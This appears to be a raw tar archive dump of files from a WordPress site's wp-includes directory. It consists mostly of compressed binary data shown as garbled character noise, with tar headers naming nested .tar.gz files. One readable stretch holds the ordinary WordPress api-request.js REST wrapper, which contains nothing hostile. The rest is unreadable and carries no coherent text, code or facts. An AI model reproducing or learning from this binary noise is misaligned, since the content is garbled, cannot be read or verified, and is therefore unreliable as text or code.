�o/X���h-���n�8a��q~��;H$j�J��po���沈Q�/oWZB�9�ٳ��q��NJ�'�6�	0��ډ�K �8P�a�G4q���,�����p�>�<F����Ec)�R2�����^d����e��L��U�������W�_�B#D)E����2���JM(��� ��de��/�0:閉�_<4]Ģc�{!�7@n�{̀/�h(KϞ�T;�k�����_�{�T��O�}��n�_$�A��9�_h�(���r�Z)U˅
��-J_z(	���_�޿B�N���7f����4J��0�8�>P�{-�ʒ�6��
���ҎLY���6.���c��ΊY/È��3|���J�1���������bB�!�ll�.���2�yE�+W�������^����wDZbZµ��ZU^0E���LgACf�'����S��(�PB�iG5��2A����_�E�	�k�����@%��&��1mc����D3<O��=#�%D��gD�:'�/e8�E��1�B�k�-{|�~Dt)���BQQ�Ȋ����%!��J+���\�)?-P�V����R�Gr�8�
P�e�#@kd��X$0���q�
{�s	0�������\܉�+���V<�������"I5�v��ش�C-���#�TL�d-=�m}�=�������E��Ɗ<��{!h�YP߈�N(4M�i�M����A�zB�0�h�T���8ؐ��=��`	��GhQ
C�H�/&���
H�%��N���gRX�of���C7Z?�p:UI�-
h��_���QZ`<��q�)��77Ǒ@0�<6�$vL�Ϥq�6��Dګ-hKXM��*n�#؂SZ�;������y��_���/�˦��%�߷7.�N
X��/[qZZ���?��?�������7�L�}����e��f�9`� @�V���r��t4x�h
�[��{J�����7�M�ͮ��iz��M��[��d��=�T����`�eQ̊uѿݗ�d�A�R�蒵��A+z��}���V
ڛ���oF��#2N�H��s�-��R(�����-d��Y���-p	�I��2��a;`�@&,�_���������~AǍF�_)���	�>����Kwa���MN��F�z����8z	�ږ��[�
����EmM_�7T>+��vN�FD��Ӷ�Z#��DTt=z��pN'�P8C4ğ]XCTE�z]š��J�E�
Ϥ�^�4O��)�-��P�Dđ�p��7�6$,v��Sq�
Lr~.-L�7GC{>�h�4G=K�VPZI�_��b�mW�)��bQ~�7�*�`@�l��G�=,iD��~)B�℅Mq`��5�Sz�|��-���a��t�[1�R��Q��
�jͅmXh�����g��NJ�߈�r-U��{��8�su{k�7���f�t�2�Q��-U/���X��,��3<	g����P���Q��:���?/l����?���?\�T�Tb�14338/block-bindings.php.php.tar.gz000064400000003407151024420100012607 0ustar00��XYo7�k�+��Ɇ�q�N�h�<�	r (�`�ڥ�s��\�B��{H�e�E���EZr93����&E�'3���|�4�*�9�gy�ϫRU�Y!΢��r�dQ��<U��d*��l4M�_V�2)כֿ}���6���>yxx���������'8x���c�_�ߏJi&Q�����b��O������`�Lx��5����"�,�̪<�iA�
	��_��(�4�O���"��؉xV���y�bfU5�]�vq����x�'����<U�Kr�Xկ�JF�k�/��̭A�g�Y�b>Ks����������i�>�c\��S4����G�l��IUR,@0�_>g��0�E�&�d
���]�gZ�tZ���7t���T�t����,�>+�*�B�it��G�"ڝC��7�į�5]��Z�R�f\��i6�n
��F��3�N�]��Qh�V��/9��!���DSn|�ck'��&�$X��Sb�t��/Μ>R���v��R�z�F��W�TzˢB8Y��:���T���P��`�z�F-&[��0m�D�?E�)`R�%�I&�j;�e���!2���9�N�����ի�L�OV�b�F7���
�[_Zy,�mI��@@U��@*`^�fS��zD�
m��1*9Ֆ�+ᗎ#>������Y@��J��P���͔T;�=��҉��~�����U�sL��p��y��o����{n}���>*"C�7#��ii�3�Xl���xlIG�gˑ�;�6�#��Z�i}���>t�/�(�%��8x�%4�;�H��0�
<�IRk��[rva��j��q����(bk�
ط"=���-��'�[���)WIژB�#iD�5�8U��e�ԧ�ۆ�,ι�i�L��Z+Ze�5n��qYO�`Q�L��de҆M��wܞ���\�TB��Wp�ڍK����m�D�$��$H�����T35��`=�
��Nt[��K�Nkו��|����l�@�R/�x<~:)O;��t|m�m�\#%YVӿþ�~;���#�6-V��2<>U/�;��%�6)�Ɛ>���CH��jp��\�h.r��9��ˈQW"J,��F7�%肈���9!6k&cP���Ih����?��l]�}Vʢ�R�\5�`��^C�5011d����&�N�������Ũ��b���Nw��A�g���:���<´�a��S��Z�y�̎+�4���n���Z�k�v�]Ɣ4�t�3,�J��}Alk~ֺ�c�����Fc�
�(���f��'��=6n�q������s��5*�׃�zڜE��6��Q����^AV�f��Z17ugMn��M~H��[�M�tP�0�dp�>�R�����jFm�[�l��� �ȣ��XC^	1��[��PA�pC�:ob��_`�S~���,cb���2��
$���
ۻCs;BGL���ej�3����_B��ma��\*�ie�oUEDY�
ύ�Ih��X>��@^��u�����P+�+��V-���+Obo�ry|L��<��z++�6�8�Y�����k?eܮx�I�����v�E|�R�Ty�Ab��0JS��8b��"U�al$�"�wW�m�"��wU�sn?����dl���^]�-nƴ�4"7���$�m�}����u
�+�ƶZ7t_����D�F�6�,���!�3�|��B�6np�7@/=�|��������1���@.L�14338/api-request.js.tar000064400000012000151024420100010566 0ustar00home/fresvfqn/crimescenecleaningupsuffolkcounty.com/wp-includes/js/api-request.js000064400000006374151024226130024573 0ustar00/**
 * Thin jQuery.ajax wrapper for WP REST API requests.
 *
 * Currently only applies to requests that do not use the `wp-api.js` Backbone
 * client library, though this may change.  Serves several purposes:
 *
 * - Allows overriding these requests as needed by customized WP installations.
 * - Sends the REST API nonce as a request header.
 * - Allows specifying only an endpoint namespace/path instead of a full URL.
 *
 * @since 4.9.0
 * @since 5.6.0 Added overriding of the "PUT" and "DELETE" methods with "POST".
 *              Added an "application/json" Accept header to all requests.
 * @output wp-includes/js/api-request.js
 */

( function( $ ) {
	var wpApiSettings = window.wpApiSettings;

	function apiRequest( options ) {
		options = apiRequest.buildAjaxOptions( options );
		return apiRequest.transport( options );
	}

	apiRequest.buildAjaxOptions = function( options ) {
		var url = options.url;
		var path = options.path;
		var method = options.method;
		var namespaceTrimmed, endpointTrimmed, apiRoot;
		var headers, addNonceHeader, addAcceptHeader, headerName;

		if (
			typeof options.namespace === 'string' &&
			typeof options.endpoint === 'string'
		) {
			namespaceTrimmed = options.namespace.replace( /^\/|\/$/g, '' );
			endpointTrimmed = options.endpoint.replace( /^\//, '' );
			if ( endpointTrimmed ) {
				path = namespaceTrimmed + '/' + endpointTrimmed;
			} else {
				path = namespaceTrimmed;
			}
		}
		if ( typeof path === 'string' ) {
			apiRoot = wpApiSettings.root;
			path = path.replace( /^\//, '' );

			// API root may already include query parameter prefix
			// if site is configured to use plain permalinks.
			if ( 'string' === typeof apiRoot && -1 !== apiRoot.indexOf( '?' ) ) {
				path = path.replace( '?', '&' );
			}

			url = apiRoot + path;
		}

		// If ?_wpnonce=... is present, no need to add a nonce header.
		addNonceHeader = ! ( options.data && options.data._wpnonce );
		addAcceptHeader = true;

		headers = options.headers || {};

		for ( headerName in headers ) {
			if ( ! headers.hasOwnProperty( headerName ) ) {
				continue;
			}

			// If an 'X-WP-Nonce' or 'Accept' header (or any case-insensitive variation
			// thereof) was specified, no need to add the header again.
			switch ( headerName.toLowerCase() ) {
				case 'x-wp-nonce':
					addNonceHeader = false;
					break;
				case 'accept':
					addAcceptHeader = false;
					break;
			}
		}

		if ( addNonceHeader ) {
			// Do not mutate the original headers object, if any.
			headers = $.extend( {
				'X-WP-Nonce': wpApiSettings.nonce
			}, headers );
		}

		if ( addAcceptHeader ) {
			headers = $.extend( {
				'Accept': 'application/json, */*;q=0.1'
			}, headers );
		}

		if ( typeof method === 'string' ) {
			method = method.toUpperCase();

			if ( 'PUT' === method || 'DELETE' === method ) {
				headers = $.extend( {
					'X-HTTP-Method-Override': method
				}, headers );

				method = 'POST';
			}
		}

		// Do not mutate the original options object.
		options = $.extend( {}, options, {
			headers: headers,
			url: url,
			method: method
		} );

		delete options.path;
		delete options.namespace;
		delete options.endpoint;

		return options;
	};

	apiRequest.transport = $.ajax;

	/** @namespace wp */
	window.wp = window.wp || {};
	window.wp.apiRequest = apiRequest;
} )( jQuery );
14338/cropper.js.js.tar.gz000064400000012005151024420100011040 0ustar00��<kS�Ȳ�s~��ڻe!�0$�)�(��`smo*�K��kcK>�����=i�0�֞�a�43������x��f	�����]��&���\�v�
׳���f�k/�u�_��V��g/�	k�����	���>u�������A��v��<h���yp�n)�"�?��#+�����ڛ7��7J�_Ł{;���]U�0_�rj}we�Z�R�G��V����2[����~p���ժH��X(�@��3��;qt�ǡ!q�0
��:,��e���_6�=S׳�X���2Ԕ;7�+~@���HY��;sm	h�|m�Fq�U��ͭ~ �X�w༊�{��H!EZ�����h��τL��<8�Y +���w��ȵ�cn�,��yzNN `g/,Xd��[
�&�CHz:k���D��9��^/��,�`|	�����ajl:CM]ҩO\�� ��$(>�N��8���R3z~�X�t��W��@/A�A�~Df�s@Bp:e��?��pڅ�+b�����y̕ˏ*��z#e4�8�t��ϗ��ީy�|����\~�>�������9)��)���އ��:��0U:��Q��.��h��J���Ā����̑�����^����?+罋����2-�)��ʅ9�A��w���>��}��u���p��^�w�����r02T�7�wz�܁�b~6�cet�9?�i9���!��Q�	2v>���(y���1j�>u�p ޹��.�n��LХ3��q�#����E��Vy�"0%ݫ�y�"�FWF��jl*��Sj�9��뚣�|0�ƺ��:�e$�R0��F=j�^l�W��ޠ_�靀U@���R��TU0�`���
��5erfB��I-�A��bݱ���cIG�o~:�}2�]GHe��U���z��<���8E {�V���>*���=��ԏz�M�ɺg����(﯈�b!���†?
�}��W�G���=�"�^/�u�F/e���!3�Pl�Z�ի�V�t!w8
��[k� Fwa��n�N�z�j0��ؑN6�V�J����!D~��V�W��]¡�p� dz�gcĪ�4���0\��4VY�N`�] N�(ۭf�4`�_��[��"���OH���!��n�8q�"�؀
AN��"0T"�1��K��w�$���ǰQ;�[����&��Cp�d.� P���?�tE�LS�H�j�V�p��z@n�pBv���$�6�B8�7-���&�-��\���l��"� �Sn�������o�h�F�!���u�q�/�U%�	`�^��|u��~���@e��b��sW�ӹ��t���d׸ߞ���zoy[p]i,uD������O�b�[�<��׵���Ֆ�7q�hmx<#�
�3lʫ���:������9(��E'�U�2h����_IG��lA$�����K���L�_�9mt!��1Ji����L�p��؎���a�u}?pB#1�c�	2V��|�N��W72j��޿�$�5���׳��yM�HU<Hhn-�VtX*A�93��3��Ũg>v�b�5j�� �쿽~�Z�7�.7�$M+��;'�P�NE�y�-�L����غ�CVQY�V�U�f��B�Mp�PVZc��/����X�` a]X6�@U�7��4U���fj$�U�%����`7S��0�0�!��	�T�IW��Ҩ�a���7֞*���2l�@���	#̉�U�6�t`��݅S��bxU�R�.,�ԍ銠j�̣�����.J�2��߁]���.�����(\O{Ih�Hj�Ã�jA"��Y�"��}�A�-W�/�j���.�o1g�~�̭13���Ҧ�{�Tȩa��xo!��<լ��S�1ƙ�����PAF��7*��F�HL��pW���P6U����0��C�O���&��2>����?= UQ���ݫ6n���lO� uhȾ��DXNN�I2pF`P��(��վf�•���$y���	#ʓt!��a�)Γ���K�(��e��4�����h�>Z"�u�̳�犥nL��u�;�qu F>IS��@.�����fp�NI�樘/"c�鼈L���EdFE:/"S�2y�I�΋���_D�/�	��Y^�ካ���H�ș�p����x�ҞI�3	�,a���\�%�Q/�x�h���9�4L��i���Lc"�2���Ih��&�FO�P��D#��*?UdW���Բ���2+��jX^ȶWUKG�dI�1l]�}���X�+��a������0"vʇol!�2����0�m�K�FQ���k��/5��H���S[��$j�7R�(*�裔�>���_�������]8<��A}A�[8��{{�|:�_��f�i�<���O�ٻ�-��7Kܘ��3��e�l�����޼���?D�V`-C��kI3�\'����w҉�g�Ȝ�B���wWX��J�8a���6���%�g�w+����h�`�-�[r���EE�K�S�Z��ęhM�aE.k}�LA]��sPh��L��� �݉$��7���'Aet�gN��q
�iq��#��0ɴ�g6�j� �6�_�dd�V�z+�����צ�OʹfdPVQ����
@n(S����C}�0.�h���]TR�w��֚t�8��Rij�q��i����>�w�ŒW��]�����6�h��լ��1%�[Q1��[��==��a4�@ �K��2�)Af�ِC�
Ԯw�gn�Y���(�l�G��-��l��j	@�F�˲/ܮ��!�d<>�
���,��l�ť��¤l��9n ��֢v`ᝋ%`���]X'�e[!Q*����+ �o���ɫ),�o'b�-�K��%x���z��щ���~M���O ����6zc4�'�{�6�N�����y��S��l ��,,0�:0�m-�If�ċ���~�-��q�,q�F�h�䗝��}ٞ��–�[ >�V	� �c�U������Ju�a�.���k�I��N�b�mО�A����%�5�<�LE�	:�M���L�i��!�ͦ���D-��P!e#3R���q��JAgyЙĄ�l��&���ڴ;f�q��!�:�����0lq�f	T�@��lKP��/ɶ$h6�dzr"��yD�K�&���g'��Np�<��Ri����B�0���_��
��4I�M�y{���D=	�_��M��DV���M�������7 ����^��dOM��6���8��᷻ޠ��w;ߘ��Dǘ�p1���@�yKM�#���zC�x���p=H�����[�"�=�/��Mz.H�e�G���"�e�g[��:4iV���F��0l`�G�F"l:pub<)H _d�@�)����0+a/ݧ� �gF�	��%Y��P�
/��@�٪J���$%9��
��B��M��0	*�3���*+�	�.�Jh�ɂW�aj_ߡO#\Z0h��w6.�*��M�.<eO�ױ��M�x�vo��f{J�nXO��z�/���"F�1�i�5cִxC+�6�(kZ�tV�Ta��'*l�T�
W!NT�p�R�r*XY�Y��
�Qv&���|�Z0��ӆ��d>�rwK�>yՂ5�:��Ćֲ�s���(o�i}Z��V�;�xpo�Xpj�S�HZS�e
+�e���/ ��e
pȜ�@�>�@���AZ]�$
��|O��U%H�%�H�1��d��d��k*<ŵ��;T}��?�&�YB�#����5)������6[�<#�nq�*���g�|eO��J�rZ�������9����w&Wc��X���u�O�:���>h�Xw)m�:��,�HY��%0��Xa	:g���ђK!�����Ad����L�Pξ��(;�̾
|q�G���rEw�)�6�"aj��S�m͈�\��Ŧ �B����S9��)�C�8��:�d#K��H�)ţ�4;*�숫���B�*�o2�}^�-�*�^�`"Oz��4_���M���ր�2]���J�>���_�C���P��}�hd��܍y����Ef1�yG�%�.�UE/E�{U�rM��i�G�x:e���1����n�N݅ņ:w���b�b_Ց	�#����pċFV�hD~@l�r�= �E�L}�ʍ���nc�mrV�M����T��S~�爂�nf��^��ǫGRq+[�IK_<f�?=���]3qA��d�>r�.6�-�V+�6���*��Q`�����|���C�|0F���h�0y�O��{��`�¢%%ԬjOV��K��f��`UW��E�(�G�l..���Q[�o�*	��*Y�Us�H�����CX�c�+�"�0�B$�����/���~������,M�2j��$|G���e�gC��x$m�[.�J5J��ڐ�/N�g�&�Qnd\��9d�!)���_�o���V2����nT1�exq/fx�Z-�\ɖh��:dI�L��5�ܧ��"tR��̂�L(�IS��g�|�f�=�Ŕw�q�q�wܔ�u�,X�'JU�8����7��S��X~%19���5s,q0++��ZN=��ن�gΞm8{���g���� ��P�� �bG��qB��|�fdb�@n%K��0�s�M���5�Ð���1[�% P��1)�z|��D
.��E>�e�-��|iA���'_��~!I����W�2�D���2 �]r��ߵ*���tU�m��v�[f~
9-�
MZ`�܌W����o�k(�~�D�i7��4ʚ�Y�~E�k*~�kD�[~y�Ϫ�D"c9N����Ԓ�T�Tˮu0ew�[�xc�`���F�p��Zj)���pP�2�H��۲�E�]Y٢m�Ru�Ȣ���6h�%�A�Vj	@���AB�6���*B)�7 $ܴ�@3�<��c<N�P2�NPi�P���8��h��t�NWr�n;��Ҷ�;�!���3g=�L�
k�C>4c:��+���ߟ�?����)|��|
�H14338/class-wpdb.php.php.tar.gz000064400000070330151024420100011760 0ustar00��{_G�0|��?ń���q��d����p�����i��f�	�.~?�[����H;��s�o7���������\f�x�7���?ҕ�(�y'N�N?��$���I����w�I:�iu���p9I;�I7�W:�(ϗ������r�_ޟU����c���G��Y]{�_kO�V���~��5<_���Q���y&�8A��E_��?Ϟò=\��ˇ����l�=Zȃn4�Σ<�N�����(ꌓ,
h�[�?9%I��N֍��(��k?I����pce���HN�+ �8#	�MO���QP��J�I�[I�(�uu�G�=�'��Ŏ���#�`������Pͬ����4�����m/��}t�{�_k�ׇk��'���t��/���}�_�o���Js���E����{�M���ڏ�����
fx�[��a<چ��C��tM�#�����qg�v@�/��a4n��z�Z��<������������~�~��w��}�{���e��~��q7gA��cl\'�� 2���l2�8��B`[�&E��@8�X���	`�Ѥ?nZc��`l���h����E?;��,1��j�Qv�`�Z��b����v�8�a���y?��x؏:�=��M6�u��y<��6BFt��!h�z��;�*�0�z	�B�Ӏc@Q����)��y�!�m9}t���l7H�A6
�d0����0�
�ȁQt㫸����%CDI+]���^<������3��`��Oo����z�&���9!�q���p2�z����$��P5‰����΋ ���4�f;L�"�%7	�^p��"�>w�/N�"���#��=>��9�����h�}4�
d{�,@�������y?���o(�n����O+�2
�(����
����aKO��F��c�Ф�)�Cb��,'���]{d�B���xt3� `���a ��V+v�N瀠�G�]��[�2�ހ��X�����]m�찗Qv�öOF)L��i����/���i���l�"�P�,���	.��}������A���}�~��?��?���I>���%v���G'�{�1l�0���̻��������9�QgL���62�7�n�I�������;T�̈��Ց�<'�7���lp�����39�`d�b��N�ޤ��@&h�?�n;�����&2�C��WHF�vF`2�A<��͐N��c��V�;��2�H>{��������&�Zvp�#�<�Ӡן�qWA$�s�>Q(�-TI�a��8��E���(�^X,��vԁ�(zO�^�$���K�x�Р����0���L�Ȓ��{\fH�hݔG���`nr�z�Y�3���\F('�R�Ȑ��a($)��s���ɛw��{�����
$?�~7G���3�P3��C�M(��ø;�0����+��0P�d{�/�I�q�O`��㠛��q0��ڒX r�O6Lzb�%Х^c�P��C�Y��c�66xxy�4��덊I%W(],�>����8���#a�W�)v�5�����^va����ocqot����bk8���SYdG( ���}��b؂B<}�5p���e*��	�W��7I;�����~DW����Z��%���G
rһ3�hˠD#�hy���;�p��l�\z��G	�vh�G&��u��E2���_��3Ġ�j-�Z�P��f2.�H��ؠ����q�����ŵ�$�N�x
�!bN�4�9�*��>0��u���h9��.�$�s��6�#z���,�`��������:�|����`���iA/65�H�},��|�B/
�	iL�"�(���Ӕ3�{�OJ��Q�/�ؕ��*K\�Ni�pX�~�Z7f�
F/�`F�3�x��N3��`�ɰok�$�K�S&B���[!�I��@VIY+�9��d|���DC��WxJ%]Ō��<����B
���4�Ќ ��uoH�$�e��Rց��W��J� p�C���ݝy�W���������{����2�=�f���h��*�$�a���M�Ҕ��j��5��q^k��ah��Ц"�fC�M�?@����o��_�q�!K����h�f�L�VSC�U>,uc�$�����S
\dHphđ��#�M)4#��O$$�b���f�=�b���<y��T0��� �w��:L�5h/^2�:WA;B�Ǹ~y�P5h�������y��#��Hl���
�WC�yr�N��8�o��(�H�ޅ���w��yQ�5���Ld�hhRɹfƻ-��Y-F�8/_��I�
�L:����ƛ�.���=�k�8#�~��+?��.�=�B׼)n^�ӧN�?�<<*��\���٧�g��=Φt|"'���S��S�Cz���q���]iZX���3����0/f'��7�S8f��f���ı�O%O:�l�f�(GV��[VF��g��{L�'�ӑuj����T<���y��}ɩ\��8���q5��OeSw�Ɯ���"���W$��d�A3G'�%�uP�y!�:K��A��ɒR�%�̬̃�����4'Q?���}{}�<���
k~b�F[pޔ�z�v#��o�ݝZ��]P[��<,�[�P��`)�ȼ`+x��d������<��q��C@�#y9�K�:��C�������m&�1n{�\a'/
=��<=�5�ǐ�쉿�����k�)�SN���a��x���3��
~(P�]�F'�8/�@�4З���g�U̾����dߦ��z9_W�_=(���r
���"����{4��EI��ڈ��E�%X�g�"?[t4�Yu�3JH�.߭�\�e��/����{�]���g{u�B��(�]SY�^$�����k�7�+�h��\?�x�&,��^L
�smDТ��\n?�1I�e��xh��I�o�A��P�"hz��Q�N�A�}���>bO�ܭ�?��-�"6��$}�w����Y�3y�$=z�I�'FzqIC�����~Ad���(Q��|�6̐�9�����G���I��
�{?�/O����N�?��㓣����hk�8<�z��>v^l��ch��{�{�����ݒ�=��#���Q&�d�|MG|�L�=�b�?&�8d��
��D#����e��ƶ��"Ƭ7B$�Dꢳh�NI���,%tA��?��7�f�g ��]�\�H��k3�[���Mm�;5������Q;8[Z[��`
��s�y���-���Q�
�����|�Y|�������![����t2��(����p���3�qc��}�0#Z�M�.��j�G�Z��f�S�U'���Z�)�_0�t1��}�tk�?���y��L��j��h����*#�GW�GЗo؟\�E�d|�Y,?�NMF�+.�x����:.���x�86�g絧�L��SC#��ؠ���S�O��_ݍNg�sї�ra�Y%�Iݩ7�Κ�4�\ 
�Bt^2=�;�=tԵ��Inm,��n���M�@.};Q.B��Q��}ܿ	.2�X<l��ŗ�~�e�&_�]G7���\o�u�97!�O��� [�`���WB5G0�y,�֌%��@�5�Am��cb���Q�\Ž�6��m���� {}1�ͱ��3kl��K��]\�0�f����Y0�D�C��8x��O*7Yӵ(�m���2cR��KI�Ox���C�&9r�.
�@Aٕ���k��T��D�NR�d��|$�x�=&_Ѣύ�Ɋ
��$ٹ���ȗF�J3�c�xa�jԈ����*;�z�u�\a��9����
�6��k޶$ݏ�K
ݧs��3!c#bLzd���n%@�\k\v���;�
��Xp+�*@eM���:��u|�F2h�\GDc�}8"�i[%!�7�J�&ղ�1�b��]p?E�����p��ɝ��9;������n���6E6�Z��ǗewO�1��E
/JJ!_��e^���x�-7�y^�mp�U���tqیS��u�5F,��}j������wa�!�Ni�!�V�6�?����9�{����<t"��[CR�,'���x�ѣ'�͗Ė���5�O��������4�֏�(M�е%��-	n�Ke�0먼��w|<��
�
�z���8��~�m�x��'�F~ž@%AO�I/����?����,⑲������>>|�_Z8�4�$���k	��h<nk��ZcnӶ��M	���
��b����l����"F@�+-��x����P��_�~b�B;��mL��m[��Ǹ��Y��&� 
��^���>F��O�l��l7ІX��KMB���'�+$�
��T&��K�=Ք�(�o���{�3�Q���EI2i�(�?J�}~�V�T��7��`��w����z�k6�nj�Em��Wdž񠦼�����h�3�S���%�Q3ZZ�$
�qA��4�&�ޝ��1�)�w]i˿�f���m�2J�˧�4L��P��zu�</n���؈��yL��ߔ؁P�q�$�;I�h��1VAZ��dR�Q�=���{�z�X큺l#��~���kGM&q#�?$�8��Ku3�G�����&u��ɸ�-uS<Sv^�i���G�e(8���[�1�Q?.5��B��ꇝ����_L�~E���Fl���������64��sy� �5�iM}�ŮQ
�����)���>��jo���1H6��x�i/@�B����!��E�!�q����pp�CQ'�.�q���cP������w��	��"�+|&�:��\*�"{��h��Qd~&��ܾ}��#g�mCiU5��o;�/z�k^1'���|h�������w��m���i�Xd>
�b���hz��c�’��H�2�y>����Al�܃n&c�,s��؞�#�^L�v��'hq��@[��}a�X(�&���27���>4C�`��\��LC�05��(�(�����*M���Hd�D��ٖl��Du�K��*J��$��%'F44��>��&���4��9��<��J�{!\��;�\d_�~��4'�~;hZE�j}��χ�LDai��	lA3�TnV���C��OБ�9L�X������\�-陭W޼�馤�"Me
q�;@�&5�"���<Dk�!��.�䔕�Rz�u����J�)4�|���2�Һ�ͮ�WL��Fep��L����}�E��
i�WH�ny`J�����{�@&K@�4��ќ}�M���	�U�l�ל�ƙ�By�'�V�.��j�'D2fۊ�ڽ�W�X͗�R~�e��1K��lb�;�����w4������PW�h�1{���&fs����C��ԃ���_�z�>ƬD-՟8��l�-���&n����ΥV�	�����ws�<���]%`l=&��?���ZI�ب�B�|K����(���������a�H&L�Orvҧ�(���eB��(�M��e.M��Uz|L��P\�P��0!>������}���I�j7VD�I������)7};A�N�[-W���l�3Ƣ�Gk��
�~W��j�A�՗�Vo�d��5�͚\[��l�hK�q�4���
L�l��@��f#���'���@O��IIl�cG���8N��!��⨎f�Ұ�c��7�Uf��ͨV�x���)82��\?a�6�L�Y]a�Y���"�i��^��XP��_���.�%|w�Ԛz
�Z"\
�6�U�O�a�\ƀ��.?4w_���@���y6��A�l�!��kϳt��[nY�V��l�{,�Q���=Ñ����h(d!'`�Bn��c��4R�X�a�]Q�* 
D=W����1Xh��--9�BQ��Jκ�9c�_a��f��Y��{�Ubz��E^3'J@T����]W��i<��F�1��L��{��c���1p׫$��é`�]�������"*���arG�½�F�kuZ�C���e�!�#��C�s���݁$��̦F�����8_��2IZt'	T��$����ljF~�Z��RUl
-�~ܫ5z��l
���+jJF ��f^�R�4Mꀿ�K�E��ӽ���]}Q�
��|{��Rd�޳�5�U6
Zr+���;�H�:%R;���hb��j!o��g]��ZT;�>=>9x���ء��e��ɖz���܎0:͕))��:B*|RF!D��(��u��
��F�,�]����ż�
c��bB1�h�G��=����䀀�_�r�W�5�w$��)+�Q�>�
�'#�!l�k)`̿4�'�g�}L��>U�e��.�� T�.',_�3�4�=n�A!"�пA�T����X�b�J��"u��q����=4�{"nk��#��L�7GN֋j���!��Y�N�*Y��ݠb�`�V	L\|n�d��9i
ʯ����}�|�<�ps�Z��������7�j��L@o�~j/(!� {�8�zԷL�>��n�>��0"(�8ϩ�+�G�F���h�� ��|��9qq�C�D65>��C� �.݄x�P}
�3�>��|��w��Q�	�x��C!�}L����$U�K1�� W’Pۦ�%�։���V	��u2f������UeC�}'	H8�G�֜��tE8���"��w!�r�8��s!�?5��S�3����d�U|�����,����E�@?��ie*�).��8�#��;bcO1�wEum!�T�,�O�;K<*�#�)���IH��&�w@KzO���ͤcv�X,tW0��u}���#�ҕ�����[8.|�Xe���-��e�qZI�w�m�$;Wtŏ7�R�y�%7Ʃ]ѻ���|皥�v���kH)��K���7bA*[�Ds����]�%\�*�tU�K�
fp�R�d�'I����9�#�����>�BQ�r��M7ƻ�>͓ݾ�7�N՘w=1�^��݈6y^}�e$�����$�žd�n�{�4�
��@�P
�
W�&ݐK`����|�Q�MFX
Ģ��aHN��Q���(��Q�FY=,�H�c�W�]�}W���w�y���,<[��oӅ"�B�|T0�ՙ
�|�Ad�|#X������Z�C�;$/��ua{`��
b��E%&�‚hX��k�{�;�?��C4��i� ��d�<��3�y]�}ʾ��&_������}L�=[�/�{�ٰe�&}~UFf?1K�5��]�'�|=%��5��Uk"`�/�چ��֧���桘
�񤌫C4D���H�m����"��F�g]�O��,��Kn�
(� l�c
�t�qܬ���.����.QƠ��wF�j��$[X�2hA:��FDIʭ�qs!�)��&q��hǙ�N��
��%�݌�/Žb=��&C����W����ҋ�(608B,�=[�7�bG蝂���_(N̦��l�Ϣ�jsa)_��X�rg��V��,�B�Wain0�|��߭�\�;|D��	�R��fP랫�G^�v���$���ٕN1�I�A�P6@f)&�0>�����Z��G�rL@g$~��è�8`�=����kPsB
Q�]��OY`��J4��a�h�^C����	��u�^ׁ��h��N�rZ�T�.:|�i�f��u��[�K2;��
�Q?�9��KY��/BFS�\jœ�k��Ӗ%8�?�]���^���UW����:�,�;����[���Vpqv��Y�e(�Sf�x��;*�"�n�=�.�)'��Bڬ㥪.Z3Pet����h$\��M���s
�F�hA��\���ߧa��}�s�5^j\I�zzW(���h_`�����V`�b���-���-�f��eyvȯ��o�ŋf@��4W�_5U�%.�J?�����"ɵ�����^��U�ra \9�	�L�Z)2���%�0����W�]�x��í���v�����T��ou�^D��y����P6�S*]�p��v�+� *r�F�ڝvKY�)���sG�ڑx�4�A 5�2��d'm�B?�|��b���z��+sTpx~�I�g�HA�:J�2?rP�7�'��VB��'��O�YʺV�{LJ��]��|˜��
��vu�C'h�vV#��}HX_r���-����\Jn��
"�2���(���ù���C4X��BhTF��E1�I�����J�"�3��a���~��A�ūC�|��x8N��r���$��S��&��k�کR@u�	���v0����E�:�-Κ����Y+��t���8]�f�B�oD_>^kf�Ehn`�g�_�M�v{܂$Cl*�YfrG4ȃ3%"7Ζ��ߤ��CKj��'��m�nL��U��qc�ݜ-u��++��G
���#�G9<��ͳ��3�b&��nE;#}uz|B���2R�vDy�U��F��a�L�`�cL=0�3��}�d�ǩ��3�7���':Ϯ��R�ŽX���"v]%و�!�����Dy��Th�ES	�O�3I��b"8�����c#�+̗&K�9�5/��*�Vl�?� ք��%X����T,���3L��;[:k�V�U3��z��,E��li鬅�M���t;Ѩˣ���r1����B�

Vfq�DX/k*g2�{#�L��x
E�0Y�I#m�IJ|�p��]�J����H�x�9e;�v��bKƓ��f2��w7�J�Ș#�JH
s�bnC<�sSLg	���eP`��'id'(_g�tm�K*�f�OO�\~-H4ؗ�ˣ�W���3�P�Ӄ�QF�`k'8�N��^�CyJ˱�/��B��L/ˀY�=z�
0Υ�hD6Hih�O�wȘ(7|yp�j�.�B�K�Zc�d
C����R����9����'h����>߶�H
mΰ�!�-g�NjS���}O1J�0���U)ub�."�!���P{�l�I����R�{�E�8=���Ķ�=q����v�����7��V�8[�&�ƙ7����6�1i��l���:�5*e�t�c�"�X��EJg����p�^f2��>��#G���ƴ_�4�ȸ�7��B��W�̷�1�,N�E�R�e'D�SB��3FUEH�Ug{g��F�R�3�>�����95l���,�+Z�<b�D��(��������f�<ޗh�~��
^bMW� ~3�N�k��ʒnpa�d_��ؔ��,(����k�ܸJe�1�R$U#�� ��]�V$��$^Ӆ��-�BP��2ݿ������9��ЙOd�q ���,�T/�0���X��AA��(��-*[�i4���WL)|x�7 }� ����á�Ӭ=�sf�טF�ݫW��Q"At٦*,Y�%��Dld��x�R��ܬHm�2�ͼ%(������|��kтVr�`r�R`P]�x9R�u�_,��F���Q��c�ws#�	*}<�`�:�Yнp��ES�T��ӑ�_�����+��ɤ��PAP���`�bJ�=Ϟ�CicL
���u���'�VF�-/�n��:,K�Z�=Mh�2�PJ�l���7k�y�f����w��o���?�Up�z���r��mQۯ�kO�[r\~CZ���������YILZS:��{��b>��s���@�˧�Q�`��/+��5�C$��q��!qrܬ�B��k\�&�7�=�O���� �v��]T^ibعR/�CyQ
P��R�8����R^[@�@�*�fGs�2�k���-^@k�P����Ї���9�p��+8�]AgMZ 	�K.�0I���E��ΰ(j�Lve	(o�v��z���:�n�e��X!�,�}�f_��]���I��.��`1:��j ��Q���/K�nq4K��uW�xp8��/�5�ã�������I����}no����#�鬞CJ��ӿ`��������5VrW�B$X��TgrWB��G�1�����H��>����P�;S�������ױj�����X�A6��@��.	�9�5
�>���WZ�n�O�y�dHkȟ���qb��8g.�<����y�q�
